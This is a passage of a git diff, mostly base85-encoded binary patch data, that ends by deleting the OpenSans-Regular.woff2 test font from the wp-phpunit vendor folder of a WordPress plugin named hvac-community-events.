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 Op2f|bD7mmB;r|73w5qNE diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.woff2 b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/fonts/OpenSans-Regular.woff2 deleted file mode 100644 index f778f9c8455f265d05e653f5de4f4979fac4b4f3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 47016 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 